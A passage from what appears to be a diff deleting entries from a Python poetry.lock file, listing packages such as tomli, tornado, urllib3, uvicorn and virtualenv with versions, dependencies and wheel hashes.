"sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:376761125ab5dab822d40eaa7d9b7e876627ecd41de8fa5336713b611b47ccef"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2a4e03bd9aa5d10b8702f00ec1b740691da96b5003432f3000d60c56f1c2b4d3"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:47d36e418ab86b3bc7946e27155e281a743274d02cd7e545f5d628a2875d32f9"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a74714ce836914063c36c8a26ae11383cf8a379698c989fe46883e38a8faa5be"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2ae6c3f042fc866cc0fa2bc35ae00d334a9fa56c9d28dfc47d1b4f5ed23e375"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:be7e01f3ad8d0e43954bebdb3088cb466633c2f4acdd88647e7fbfcfe9b9729f"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:35a2cabcfdea4643d7811cfe9f3d92366d282b38ef5e7e93e25dafb6f97b0a59"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:8ce2e39a40fca82744883834683d833e0eb28623752cc1c21c2ec8f06a890b39"}, - {file = "setproctitle-1.3.7-cp38-cp38-win32.whl", hash = "sha256:6f1be447456fe1e16c92f5fb479404a850d8f4f4ff47192fde14a59b0bae6a0a"}, - {file = "setproctitle-1.3.7-cp38-cp38-win_amd64.whl", hash = "sha256:5ce2613e1361959bff81317dc30a60adb29d8132b6159608a783878fc4bc4bbc"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:deda9d79d1eb37b688729cac2dba0c137e992ebea960eadb7c2c255524c869e0"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a93e4770ac22794cfa651ee53f092d7de7105c76b9fc088bb81ca0dcf698f704"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:134e7f66703a1d92c0a9a0a417c580f2cc04b93d31d3fc0dd43c3aa194b706e1"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9796732a040f617fc933f9531c9a84bb73c5c27b8074abbe52907076e804b2b7"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff3c1c32382fb71a200db8bab3df22f32e6ac7ec3170e92fa5b542cf42eed9a2"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01f27b5b72505b304152cb0bd7ff410cc4f2d69ac70c21a7fdfa64400a68642d"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:80b6a562cbc92b289c28f34ce709a16b26b1696e9b9a0542a675ce3a788bdf3f"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c4fb90174d176473122e7eef7c6492d53761826f34ff61c81a1c1d66905025d3"}, - {file = "setproctitle-1.3.7-cp39-cp39-win32.whl", hash = "sha256:c77b3f58a35f20363f6e0a1219b367fbf7e2d2efe3d2c32e1f796447e6061c10"}, - {file = "setproctitle-1.3.7-cp39-cp39-win_amd64.whl", hash = "sha256:318ddcf88dafddf33039ad41bc933e1c49b4cb196fe1731a209b753909591680"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a"}, - {file = "setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e"}, -] - -[package.extras] -test = ["pytest"] - -[[package]] -name = "six" -version = "1.17.0" -description = "Python 2 and 3 compatibility utilities" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["docs"] -files = [ - {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, - {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, -] - -[[package]] -name = "socksio" -version = "1.0.0" -description = "Sans-I/O implementation of SOCKS4, SOCKS4A, and SOCKS5." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3"}, - {file = "socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac"}, -] - -[[package]] -name = "soupsieve" -version = "2.8.3" -description = "A modern CSS selector implementation for Beautiful Soup." -optional = false -python-versions = ">=3.9" -groups = ["main", "docs"] -files = [ - {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, - {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, -] - -[[package]] -name = "starlette" -version = "0.52.1" -description = "The little ASGI library that shines." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74"}, - {file = "starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933"}, -] - -[package.dependencies] -anyio = ">=3.6.2,<5" -typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} - -[package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] - -[[package]] -name = "tabulate" -version = "0.8.10" -description = "Pretty-print tabular data" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" -groups = ["main"] -files = [ - {file = "tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc"}, - {file = "tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519"}, -] - -[package.extras] -widechars = ["wcwidth"] - -[[package]] -name = "tldextract" -version = "5.3.1" -description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9"}, - {file = "tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb"}, -] - -[package.dependencies] -filelock = ">=3.0.8" -idna = "*" -requests = ">=2.1.0" -requests-file = ">=1.4" - -[package.extras] -release = ["build", "twine"] -testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] - -[[package]] -name = "tomli" -version = "2.4.0" -description = "A lil' TOML parser" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_full_version <= \"3.11.0a6\"" -files = [ - {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"}, - {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"}, - {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"}, - {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"}, - {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"}, - {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"}, - {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"}, - {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"}, - {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"}, - {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"}, - {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"}, - {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"}, - {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"}, - {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"}, - {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"}, - {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"}, - {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"}, - {file = "tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"}, - {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"}, -] - -[[package]] -name = "tomlkit" -version = "0.14.0" -description = "Style preserving TOML library" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680"}, - {file = "tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064"}, -] - -[[package]] -name = "tornado" -version = "6.5.4" -description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9"}, - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8"}, - {file = "tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1"}, - {file = "tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc"}, - {file = "tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1"}, - {file = "tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7"}, -] - -[[package]] -name = "typing-extensions" -version = "4.15.0" -description = "Backported and Experimental Type Hints for Python 3.9+" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, - {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, -] - -[[package]] -name = "typing-inspection" -version = "0.4.2" -description = "Runtime typing introspection tools" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, - {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, -] - -[package.dependencies] -typing-extensions = ">=4.12.0" - -[[package]] -name = "unidecode" -version = "1.4.0" -description = "ASCII transliterations of Unicode text" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021"}, - {file = "Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23"}, -] - -[[package]] -name = "urllib3" -version = "2.6.3" -description = "HTTP library with thread-safe connection pooling, file post, and more." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, - {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, -] - -[package.extras] -brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] -h2 = ["h2 (>=4,<5)"] -socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] - -[[package]] -name = "uvicorn" -version = "0.39.0" -description = "The lightning-fast ASGI server." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a"}, - {file = "uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302"}, -] - -[package.dependencies] -click = ">=7.0" -h11 = ">=0.8" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[package.extras] -standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] - -[[package]] -name = "verspec" -version = "0.1.0" -description = "Flexible version handling" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31"}, - {file = "verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e"}, -] - -[package.extras] -test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"] - -[[package]] -name = "virtualenv" -version = "20.36.1" -description = "Virtual Python Environment builder" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f"}, - {file = "virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba"}, -] - -[package.dependencies] -distlib = ">=0.3.7,<1" -filelock = {version = ">=3.20.1,<4", markers = "python_version >= \"3.10\""} -platformdirs = ">=3.9.1,<5" -typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} - -[package.extras] -docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] -test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""] - -[[package]] -name = "watchdog" -version = "6.0.0" -description = "Filesystem events monitoring" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = 